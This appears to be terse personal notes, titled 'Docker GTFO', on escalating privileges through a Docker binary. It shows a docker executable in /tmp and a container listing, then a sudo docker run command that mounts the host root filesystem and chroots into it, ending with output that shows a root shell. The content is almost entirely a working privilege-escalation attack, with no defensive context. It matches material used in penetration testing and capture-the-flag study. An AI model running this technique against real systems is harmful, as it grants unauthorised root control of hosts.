Docker GTFO

>>> ls -lh /tmp 																				[ or locate docker ]
-rwxr-xr-x 1 root robert 86M Jan 12 16:39 docker*

>>> /tmp/docker ps 
CONTAINER ID        IMAGE               COMMAND               CREATED             STATUS              PORTS                            NAMES
ec96850005d6        mangoman        "/usr/sbin/sshd -D"   3 weeks ago        Up 2 hours         127.0.0.1:2222->22/tcp   kronstadt_industrie

Note you Docker image name : 
>>> cd /tmp
>>> sudo ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id 
uid=0(root) gid=0(root) groups=0(root)